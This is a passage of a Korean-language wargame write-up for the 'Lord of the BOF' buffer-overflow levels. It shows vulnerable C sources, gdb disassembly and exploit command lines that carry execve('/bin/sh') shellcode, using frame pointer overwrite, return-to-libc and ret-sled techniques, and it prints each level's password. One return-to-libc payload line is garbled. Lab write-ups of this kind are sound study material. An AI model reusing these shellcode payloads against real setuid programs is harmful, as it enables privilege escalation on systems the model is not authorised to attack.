0x80484a1 <main+49>:	je     0x80484c0 <main+80>
0x80484a3 <main+51>:	push   0x804857c
0x80484a8 <main+56>:	call   0x8048378 <printf>
0x80484ad <main+61>:	add    %esp,4
0x80484b0 <main+64>:	push   0
0x80484b2 <main+66>:	call   0x8048388 <exit>
0x80484b7 <main+71>:	add    %esp,4
0x80484ba <main+74>:	lea    %esi,[%esi]
0x80484c0 <main+80>:	mov    %eax,DWORD PTR [%ebp+12]
0x80484c3 <main+83>:	add    %eax,4
0x80484c6 <main+86>:	mov    %edx,DWORD PTR [%eax]
0x80484c8 <main+88>:	push   %edx
0x80484c9 <main+89>:	lea    %eax,[%ebp-40]
0x80484cc <main+92>:	push   %eax
0x80484cd <main+93>:	call   0x80483a8 <strcpy>
0x80484d2 <main+98>:	add    %esp,8
0x80484d5 <main+101>:	lea    %eax,[%ebp-40]
0x80484d8 <main+104>:	push   %eax
0x80484d9 <main+105>:	push   0x8048599
0x80484de <main+110>:	call   0x8048378 <printf>
0x80484e3 <main+115>:	add    %esp,8
0x80484e6 <main+118>:	push   44
0x80484e8 <main+120>:	push   0
0x80484ea <main+122>:	lea    %eax,[%ebp-40]
0x80484ed <main+125>:	push   %eax
0x80484ee <main+126>:	call   0x8048398 <memset>
0x80484f3 <main+131>:	add    %esp,12
0x80484f6 <main+134>:	lea    %eax,[%ebp-40]
0x80484f9 <main+137>:	mov    %edx,0xbfffffcf
0x80484fe <main+142>:	mov    %ecx,%edx
0x8048500 <main+144>:	sub    %ecx,%eax
0x8048502 <main+146>:	mov    %eax,%ecx
0x8048504 <main+148>:	push   %eax
0x8048505 <main+149>:	push   0
0x8048507 <main+151>:	lea    %eax,[%ebp-40]
0x804850a <main+154>:	lea    %edx,[%eax+48]
0x804850d <main+157>:	push   %edx
0x804850e <main+158>:	call   0x8048398 <memset>
0x8048513 <main+163>:	add    %esp,12
0x8048516 <main+166>:	leave
0x8048517 <main+167>:	ret
0x8048518 <main+168>:	nop
0x8048519 <main+169>:	nop
0x804851a <main+170>:	nop
0x804851b <main+171>:	nop
0x804851c <main+172>:	nop
0x804851d <main+173>:	nop
0x804851e <main+174>:	nop
0x804851f <main+175>:	nop

3. exploit code

1
2
3
mkdir tmp
touch /home/skeleton/tmp`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
export LN=PRELOAD=/home/skeleton/tmp`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

우선 쉘 코드를 LD_PRELOAD 에 삽입을 해야 한다. 이후에는 좀 재밌게 되는데….

1
2
3
4
cp ~/golem test
./test python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
segmentation fault core
gdb -q -c core

코어 덤프를 통해 실제로 쉘코드가 있는 주소를 찾아야 하는데… 이 부분이 진짜 개삽질이었다…

1
2
x/10000s 0xbffff000
0xbffff66f:	 "@�D\001@/tmp/dirgolem/", '\220' <repeats 18 times>, "\234\205\004\b", '\220' <repeats 16 times>

진짜 삽질로 파악하게 되었다… 쉘 코드는 0xbffff66f 부터 시작되게 되는데 넉넉하게 0xbffff68f를 주고 실행하였다.

1
2
3
4
5
6
rm -rf test
ln -sf ~/golem test
./test `python -c 'print "A"*44+"\x8f\xf6\xff\xbf"'`
bash$ my-pass
euid = 511
cup of coffee

4일동안 개삽질했다… 저 쉘코드가 시작되는 주소를 못찾아서 ㅠㅜ

지금부터는 write-up을 참조하여, 빨리 문제를 풀도록 하겠다 ㅠㅜ

golem

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

개인적으로 소스를 분석 했을 때 buffer의 메모리 크기는 40이고, strncpy의 최대 길이는 41이다.. 무엇인가.. 여기가 취약점인 것 같다… 좀더 자세히 살펴보자

해당 문제는 FPO(Frame Pointer Overwriting)를 이용해야 한다.

2. gdb

main 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x804846c <main>:	push   %ebp
0x804846d <main+1>:	mov    %ebp,%esp
0x804846f <main+3>:	cmp    DWORD PTR [%ebp+8],1
0x8048473 <main+7>:	jg     0x8048490 <main+36>
0x8048475 <main+9>:	push   0x8048504
0x804847a <main+14>:	call   0x8048354 <printf>
0x804847f <main+19>:	add    %esp,4
0x8048482 <main+22>:	push   0
0x8048484 <main+24>:	call   0x8048364 <exit>
0x8048489 <main+29>:	add    %esp,4
0x804848c <main+32>:	lea    %esi,[%esi*1]
0x8048490 <main+36>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048493 <main+39>:	add    %eax,4
0x8048496 <main+42>:	mov    %edx,DWORD PTR [%eax]
0x8048498 <main+44>:	push   %edx
0x8048499 <main+45>:	call   0x8048440 <problem_child>
0x804849e <main+50>:	add    %esp,4
0x80484a1 <main+53>:	leave

problem_child

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x8048440 <problem_child>:	push   %ebp
0x8048441 <problem_child+1>:	mov    %ebp,%esp
0x8048443 <problem_child+3>:	sub    %esp,40
0x8048446 <problem_child+6>:	push   41
0x8048448 <problem_child+8>:	mov    %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>:	push   %eax
0x804844c <problem_child+12>:	lea    %eax,[%ebp-40]
0x804844f <problem_child+15>:	push   %eax
0x8048450 <problem_child+16>:	call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:	add    %esp,12
0x8048458 <problem_child+24>:	lea    %eax,[%ebp-40]
0x804845b <problem_child+27>:	push   %eax
0x804845c <problem_child+28>:	push   0x8048500
0x8048461 <problem_child+33>:	call   0x8048354 <printf>
0x8048466 <problem_child+38>:	add    %esp,8
0x8048469 <problem_child+41>:	leave
0x804846a <problem_child+42>:	ret

3. exploit code

FPO를 통해 exploit을 하기 위해서는 leave, ret 개념을 잘 파악해야 할 것 같다.

leave = move esp, ebp pop ebp
ret = pop eip jmp eip

FPO를 통해 problem_child 함수 종료 후 main 함수로 돌아갈 ebp를 변조하여, ebp+4에 위치한 주소로 이동하는 로직을 통해 쉘 코드가 삽입되어 있는 주소로 이동하게 되는 것이다. 이동 반경은 0xffffff00 ~ 0xffffffff 이 정도가 아닐까 생각한다. 255 크기정도

stack을 좀 살펴 보자면… 아래와 같다

1
2
3
4
0xbffffc54:	0xbffffc8c	0x08048466	0x08048500	0xbffffc64
0xbffffc64:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc74:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc84:	0x41414141	0x41414141	0xbffffc00	0x0804849e

A가 끝나는 지점 이후 인 0xbffffc00은 main으로 돌아갈 주소이며, A를 40개 주고 B를 하나 주면, 아래와 같이 주소가 바뀌게 된다.

1
2
3
0xbffffc64:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc74:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc84:	0x41414141	0x41414141	0xbffffc42	0x0804849e

0xbffffc42 요렇게! 이 값을 A가 시작하는 주소인 0xbffffc64으로 옮기고 A 대신 쉘 코드를 넣으면 될 것이다.

라고 생각하면 틀린 것이다.

우리가 돌아갈 주소는 main에 입력되어 있는 argv[1]의 위치이기 때문에 esp-0x40 위치 쯤에서 찾아야 한다.

1
2
3
4
0xbffffc5c:	0x08048500	0xbffffc64	0x90909090	0x90909090
0xbffffc6c:	0x90909090	0x31909090	0x2f6850c0	0x6868732f
0xbffffc7c:	0x6e69622f	0x5350e389	0xc289e189	0x80cd0bb0
0xbffffc8c:	0xbffffc5c	0x0804849e	0xbffffdf8	0xbffffcb8

41번 째 주소는 0xbffffc6c정도를 가지고 있으면 +4된 주소가 실행된다. 어짜피 nop 이기 때문에 영향을 받지 않는다.

최종 exploit 코드는 nop+shellcode 로 구성된 아래 홈페이지를 참조하였다.

1
2
3
4
5
6
7
`python -c 'print "\x90"*15 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6c"'`

bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

출처: http://orang.tistory.com/entry/해커스쿨-LOB-golem-darkknight-by-ORANG [Hacked by ORANG]

darkknight

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,44
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x8048500
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	add    %edx,47
0x804845e <main+46>:	cmp    BYTE PTR [%edx],0xbf
0x8048461 <main+49>:	jne    0x8048480 <main+80>
0x8048463 <main+51>:	push   0x804850c
0x8048468 <main+56>:	call   0x8048350 <printf>
0x804846d <main+61>:	add    %esp,4
0x8048470 <main+64>:	push   0
0x8048472 <main+66>:	call   0x8048360 <exit>
0x8048477 <main+71>:	add    %esp,4
0x804847a <main+74>:	lea    %esi,[%esi]
0x8048480 <main+80>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>:	add    %eax,4
0x8048486 <main+86>:	mov    %edx,DWORD PTR [%eax]
0x8048488 <main+88>:	push   %edx
0x8048489 <main+89>:	lea    %eax,[%ebp-40]
0x804848c <main+92>:	push   %eax
0x804848d <main+93>:	call   0x8048370 <strcpy>
0x8048492 <main+98>:	add    %esp,8
0x8048495 <main+101>:	lea    %eax,[%ebp-40]
0x8048498 <main+104>:	push   %eax
0x8048499 <main+105>:	push   0x8048522
0x804849e <main+110>:	call   0x8048350 <printf>
0x80484a3 <main+115>:	add    %esp,8
0x80484a6 <main+118>:	leave
0x80484a7 <main+119>:	ret

3. exploit code

  • 참조 : http://blog.asdfasdf.kr/150

위 블로그를 참고 하면 다음과 같다. RTL를 이용하여, 라이브러리에 존재하는 /bin/sh의 위치를 알아내 RET함수에 system 함수의 주소를 입력하고 4byte의 더미 값을 입력 후 /bin/sh의 주소 값을 넣으면 익스가 성공하게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[darkknight@localhost tmp]$ gdb -q ./bugbear
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/tmp/./bugbear

Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

bugbear

이 문제는 좀 어려워서… http://ssaemo.tistory.com/30 블로그를 참고하였다.

해당 문제는 execve 함수를 통해 exploit 하는 문제로 아래 내용을 살펴 보자

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

2. gdb

3. exploit code

먼저 execve 함수의 주소를 찾는다.

1
2
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>

execve 함수 원형은 execve(“/bin/sh”, argv, env) 이렇게 구성 되며 argv를 “/bin/sh”로 변경해야 한다.

RET를 통해 execve 함수를 실행 시키면 RET은 EBP가 되고 RET 영역+4가 EBP+4, 즉 새로운 RET(execve 함수 종료 후의 RET)가 된다. 이후 EBP+8(&”/bin/sh”), EBP+12(&argv), EBP+16(NULL)이 각각 매개변수가 된다.

최종적으로는 A*44 + &execve + RET + &/bin/sh + &argv + &NULL와 같은 exploit payload를 짜야 한다.

1
2
3
4
5
6
7
8
export persu="/bin/sh" 추가

0xbffffe4a:	 "persu=/bin/sh"
0xbffffff5:	 "./����"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""

위 와 같이 각 인자 값에 해당하는 주소를 획득하게 되고 아래와 같이 exploit code를 짜게 된다.

1
2
3
4
5
ln -sf ~/giant `python -c 'print "\x4a\xfe\xff\xbf"'`

./`python -c 'print "\x4a\xfe\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x4a\xfe\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

password : one step closer

assassin

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0x8048470 <main>:	push   %ebp
0x8048471 <main+1>:	mov    %esp,%ebp
0x8048473 <main+3>:	sub    $0x28,%esp
0x8048476 <main+6>:	cmpl   $0x1,0x8(%ebp)
0x804847a <main+10>:	jg     0x8048493 <main+35>
0x804847c <main+12>:	push   $0x8048570
0x8048481 <main+17>:	call   0x8048378 <printf>
0x8048486 <main+22>:	add    $0x4,%esp
0x8048489 <main+25>:	push   $0x0
0x804848b <main+27>:	call   0x8048388 <exit>
0x8048490 <main+32>:	add    $0x4,%esp
0x8048493 <main+35>:	mov    0xc(%ebp),%eax
0x8048496 <main+38>:	add    $0x4,%eax
0x8048499 <main+41>:	mov    (%eax),%edx
0x804849b <main+43>:	add    $0x2f,%edx
0x804849e <main+46>:	cmpb   $0xbf,(%edx)
0x80484a1 <main+49>:	jne    0x80484c0 <main+80>
0x80484a3 <main+51>:	push   $0x804857c
0x80484a8 <main+56>:	call   0x8048378 <printf>
0x80484ad <main+61>:	add    $0x4,%esp
0x80484b0 <main+64>:	push   $0x0
0x80484b2 <main+66>:	call   0x8048388 <exit>
0x80484b7 <main+71>:	add    $0x4,%esp
0x80484ba <main+74>:	lea    0x0(%esi),%esi
0x80484c0 <main+80>:	mov    0xc(%ebp),%eax
0x80484c3 <main+83>:	add    $0x4,%eax
0x80484c6 <main+86>:	mov    (%eax),%edx
0x80484c8 <main+88>:	add    $0x2f,%edx
0x80484cb <main+91>:	cmpb   $0x40,(%edx)
0x80484ce <main+94>:	jne    0x80484e7 <main+119>
0x80484d0 <main+96>:	push   $0x8048591
0x80484d5 <main+101>:	call   0x8048378 <printf>
0x80484da <main+106>:	add    $0x4,%esp
0x80484dd <main+109>:	push   $0x0
0x80484df <main+111>:	call   0x8048388 <exit>
0x80484e4 <main+116>:	add    $0x4,%esp
0x80484e7 <main+119>:	mov    0xc(%ebp),%eax
0x80484ea <main+122>:	add    $0x4,%eax
0x80484ed <main+125>:	mov    (%eax),%edx
0x80484ef <main+127>:	push   %edx
0x80484f0 <main+128>:	lea    0xffffffd8(%ebp),%eax
0x80484f3 <main+131>:	push   %eax
0x80484f4 <main+132>:	call   0x80483a8 <strcpy>
0x80484f9 <main+137>:	add    $0x8,%esp
0x80484fc <main+140>:	lea    0xffffffd8(%ebp),%eax
0x80484ff <main+143>:	push   %eax
0x8048500 <main+144>:	push   $0x80485ae
0x8048505 <main+149>:	call   0x8048378 <printf>
0x804850a <main+154>:	add    $0x8,%esp
0x804850d <main+157>:	push   $0x2c
0x804850f <main+159>:	push   $0x0
0x8048511 <main+161>:	lea    0xffffffd8(%ebp),%eax
0x8048514 <main+164>:	push   %eax
0x8048515 <main+165>:	call   0x8048398 <memset>
0x804851a <main+170>:	add    $0xc,%esp
0x804851d <main+173>:	leave
0x804851e <main+174>:	ret
0x804851f <main+175>:	nop

3. exploit code

ret를 한번 더 호출하게 되면 ret sld를 통해 다음 4byte가 실제 이동하는 메모리 주소다.

1
2
3
4
5
6
7
8
./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xd0\xfd\xff\xbf"+"\x90"*128+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away